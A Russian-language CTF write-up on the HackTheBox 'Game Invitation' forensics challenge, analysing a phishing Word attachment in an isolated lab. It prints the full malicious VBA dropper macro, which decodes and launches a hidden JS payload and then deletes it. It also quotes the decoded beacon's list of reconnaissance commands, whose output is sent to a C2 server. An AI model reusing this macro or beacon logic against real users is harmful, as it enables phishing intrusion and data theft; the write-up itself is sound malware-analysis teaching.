Закончился ежегодный CTF от HackTheBox Cyber Apocalypse 2024: Hacker Royale - After Party и конечно, там снова были интересные задания по форензике, которые удалось решить за отведённое на CTF время. В этом райтапе хочу поделиться решением задания "Game Invitation" по форензике уровня Hard. Заодно попрактиковаться в разборе фишинговых вложений и исследовании VBA-кода.
Небольшая вводная:
In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?
Решать задание будем на подготовленных виртуальных машинах под ОС Windows (не имеет доступ в сеть интернет), с предустановленным браузером Chrome и MS Office Word и REMnux с предустановленными oletools.
После загрузки задания пред нами предстанет файл invitation.docm (docm означает, что в файле имеется VBA-макрос). Посмотрим на него подробнее, в этом нам помогут набор утилит oletools от Didier'a Stevens'a:
olevba3 invitation.docm
В результате получаем код VBA-макроса (листинг 1, представлен ниже) и резюмирующую таблицу (рисунок 2), в которой описаны популярные трюки, которые используют атакующие. Например, выполняется код при открытии файла (функция AutoOpen) и закрытии файла (функция AutoClose), а также другие Xor, Shell, Put. Давайте взглянем на них подробнее, чтобы разобраться, что происходит в коде.
Листинг 1 - код VBA-макроса
Public IAiiymixt As String Public kWXlyKwVj As String Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean Dim xor_key As Byte xor_key = 45 For i = 0 To length - 1 given_string(i) = given_string(i) Xor xor_key xor_key = ((xor_key Xor 99) Xor (i Mod 254)) Next i JFqcfEGnc = True End Function Sub AutoClose() 'delete the js script' On Error Resume Next Kill IAiiymixt On Error Resume Next Set aMUsvgOin = CreateObject("Scripting.FileSystemObject") aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True Set aMUsvgOin = Nothing End Sub Sub AutoOpen() On Error GoTo MnOWqnnpKXfRO Dim chkDomain As String Dim strUserDomain As String chkDomain = "GAMEMASTERS.local" strUserDomain = Environ$("UserDomain") If chkDomain <> strUserDomain Then Else Dim gIvqmZwiW Dim file_length As Long Dim length As Long file_length = FileLen(ActiveDocument.FullName) gIvqmZwiW = FreeFile Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW Dim CbkQJVeAG() As Byte ReDim CbkQJVeAG(file_length) Get #gIvqmZwiW, 1, CbkQJVeAG Dim SwMbxtWpP As String SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode) Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD Dim vTxAnSEFH Set vTxAnSEFH = CreateObject("vbscript.regexp") vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa" Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP) Dim Y5t4Ul7o385qK4YDhr If I4j833DS5SFd34L3gwYQD.Count = 0 Then GoTo MnOWqnnpKXfRO End If For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex Exit For Next Dim Wk4o3X7x1134j() As Byte Dim KDXl18qY4rcT As Long KDXl18qY4rcT = 13082 ReDim Wk4o3X7x1134j(KDXl18qY4rcT) Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then GoTo MnOWqnnpKXfRO End If kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows" Set aMUsvgOin = CreateObject("Scripting.FileSystemObject") If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then kWXlyKwVj = Environ("appdata") End If Set aMUsvgOin = Nothing Dim K764B5Ph46Vh K764B5Ph46Vh = FreeFile IAiiymixt = kWXlyKwVj & "\" & "mailform.js" Open (IAiiymixt) For Binary As #K764B5Ph46Vh Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j Close #K764B5Ph46Vh Erase Wk4o3X7x1134j Set R66BpJMgxXBo2h = CreateObject("WScript.Shell") R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm" ActiveDocument.Save Exit Sub MnOWqnnpKXfRO: Close #K764B5Ph46Vh ActiveDocument.Save End If End Sub
Анализ VBA-макроса.
Давайте разберемся, что здесь происходит и заодно отредактируем код для дальнейшего исследования.
После открытия файла пользователем (если у него включены макросы – и отжато "разрешить редактирование" и "включить содержимое") выполняется функция AutoOpen(), где прежде всего проверяется наличие ошибок (функция MnOWqnnpKXfRO и в случае их обнаружения, при помощи оператора GoTo, происходит переход на функцию MnOWqnnpKXfRO, в которой осуществляется закрытие объекта #K764B5Ph46Vh. Нам необходимо изучить все артефакты, которые способен отдать нам макрос, поэтому закомментируем функцию MnOWqnnpKXfRO и все её упоминания в коде (комментарий в VBA осуществляется через знак ' ) .
'MnOWqnnpKXfRO: 'Close #K764B5Ph46Vh 'ActiveDocument.Save
После чего идёт проверка, что домена, на котором запускается файл на наличие записи "GAMEMASTERS.local". В случае, если это не так, выполняется остальной код (это сделано, чтобы код не запускался в домене GAMEMASTERS.local, где он, собственно, и разрабатывался). В объявленную переменную file_length записывается размер ранее загруженного файла invitation.docm в байтах (с использованием FileLen(ActiveDocument.FullName)), после чего файл открывается на побайтовое чтение. Функция Get #gIvqmZwiW, 1, CbkQJVeAG возвращает массив байтов с 1-го элемента нашего файла (объект #gIvqmZwiW = invitation.docm). Далее происходит конвертация байтов в строку SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode) и уже с помощью регулярных выражений и шаблона "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa", полученное содержимое преобразовывается в массив строк длинной 133027 символа, после чего содержимое с элемента 133027 + 81 записывается в массив байт Wk4o3X7x1134j. На следующем этапе идёт преобразование путём операции XOR каждого элемента с ключом 45, за это отвечает функция JFqcfEGnc().
Получившаяся на выходе полезная нагрузка записывается в javascript файл mailform.js по пути %APPDATA%\mailform.js (IAiiymixt = kWXlyKwVj & "\" & "mailform.js"), при помощи функции Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j. Давайте на данном этапе изменим путь на удобный для нас: kWXlyKwVj = "C:\Users\Antony\Desktop\forensics_game_invitation". После успешной записи файл mailform.js запускается через wscript.exe: Set R66BpJMgxXBo2h = CreateObject("WScript.Shell") с аргументом "vF8rdgMHKBrvCoCp0ulm". Перед тем как переходить к исследованию файла mailform.js, необходимо закомментировать функцию AutoClose(), т.к. код внутри функции отвечает за удаление файла mailform.js сразу после закрытия документа.
' Sub AutoClose() 'delete the js script' On Error Resume Next Kill IAiiymixt On Error Resume Next Set aMUsvgOin = CreateObject("Scripting.FileSystemObject") aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True Set aMUsvgOin = Nothing End Sub
Исследование дропнутой полезной нагрузки в mailform.js.
Пришло время исследовать JS файл mailform.js с полезной нагрузкой. Для удобства изучения, загрузим содержимое в JS Beautifier (https://beautifier.io/).
Время - ресурс ограниченный, особенно на CTF поэтому погружаться в работу функций по декодированию/расшифрованию: function JrvS(r), function b(r) и function xR68(r, a) я особо не стал, решив, что дебаг и получение полезной нагрузки в открытом виде наиболее быстрый путь решения задачи. Как мне удалось выяснить в дальнейшем, функция JrvS() отвечает за декодирование из Base64, а функция xR68() за расшифрование алгоритмом RC4 на ключе, который передаётся аргументом (как мы уже заметили из кода VBA-макроса). Давайте изменим данный скрипт и подставим значение-ключ из VBA-макроса "vF8rdgMHKBrvCoCp0ulm", которое передаётся при запуске (заменив var DASz = lVky(0); на var DASz = "vF8rdgMHKBrvCoCp0ulm";. А также удалим содержимое: | и прочее содержимое на 80 строке. Полученный JS код можно запустить в браузере через консоль разработчика на виртуальной машине или воспользоваться утилитой box-js в образе REMnux (подробнее).
Важно помнить, что исследование в динамике вредоносных файлов должно производиться исключительно на виртуальных машинах без доступа в сеть интернет.
Открыв консоль в браузере (на виртуальной машине), выполним модифицированный нами JS код. После выполнения мы получаем расшифрованный JS-код (строка).
Загрузим также содержимое в JS Beautifier (https://beautifier.io/).
Мы получили C2 Beacon на JS, который собирает информацио о скомпрометированном хосте (var LwHA = new Array("systeminfo > ", "net view >> ", "net view /domain >> ", "tasklist /v >> ", "gpresult /z >> ", "netstat -nao >> ", "ipconfig /all >> ", "arp -a >> ", "net share >> ", "net use >> ", "net user >> ", "net user administrator >> ", "net user /domain >> ", "net user administrator /domain >> ", "set >> ", "dir %systemdrive%\\\\Users\\\\*.* >> ", "dir %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.* >> ", "dir %userprofile%\\\\Desktop\\\\*.* >> ", 'tasklist /fi "modules eq wow64.dll" >> ', 'tasklist /fi "modules ne wow64.dll" >> ', 'dir "%programfiles(x86)%" >> ', 'dir "%programfiles%" >> ', "dir %appdata% >>");) и передаёт на сервер challenge.htb через POST запросы.


В Cookie POST-запросов и был найден флаг в Base64.

Заключение:
Такое нетрудное задание было на CTF по форензике уровня Hard =).
